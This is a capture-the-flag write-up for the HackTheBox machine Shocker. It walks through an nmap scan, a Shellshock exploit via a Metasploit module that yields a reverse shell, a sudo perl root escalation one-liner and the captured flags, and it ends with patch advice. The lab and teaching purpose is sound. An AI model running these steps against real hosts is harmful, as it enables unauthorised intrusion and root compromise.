Writeup - Shocker (HTB)

This is a writeup for the Shocker machine from the HackTheBox site.

Enumeration

First, let's start with a scan of our target with the following command:

nmap -sV -T4 -Pn 10.10.11.146

Two TCP ports are discovered:

• 2222/tcp : SSH port (OpenSSH 7.2p2)
• 80/tcp : HTTP web server (Apache 2.4.18)

Exploit

At first I start by listing the files of the website.

We find a cgi-bin folder.

Listing the folder we find a file: user.sh.

Content-Type: text/plain

Just an uptime test script

 03:47:39 up 10 min,  0 users,  load average: 0.00, 0.00, 0.00

By searching a little bit I quickly find exploits to cgi-bin. I choose to use the Metasploit module: multi/http/apache_mod_cgi_bash_env_exec.

By running the module I get a reverse shell. I start by upgrading this reverse shell :

Then I get the first flag.

shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt
cat /home/shelly/user.txt
2ec24e11320026d1e70ff3e16695b233

Privilege escalation

I start by checking the sudo permissions of my user.

Looking on GTFO, I find the page associated to Perl. I use the following command to generate a SH session as root:

sudo perl -e 'exec "/bin/sh";'

I can now recover the last flag.

# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
52c2715605d70c7619030560dc1ca467

Recommendations

To patch this host I think it would be necessary to perform a number of actions:

• Update the machine to patch shellshock
• Do not allow root rights to run perl

Owned Shocker from Hack The Box!

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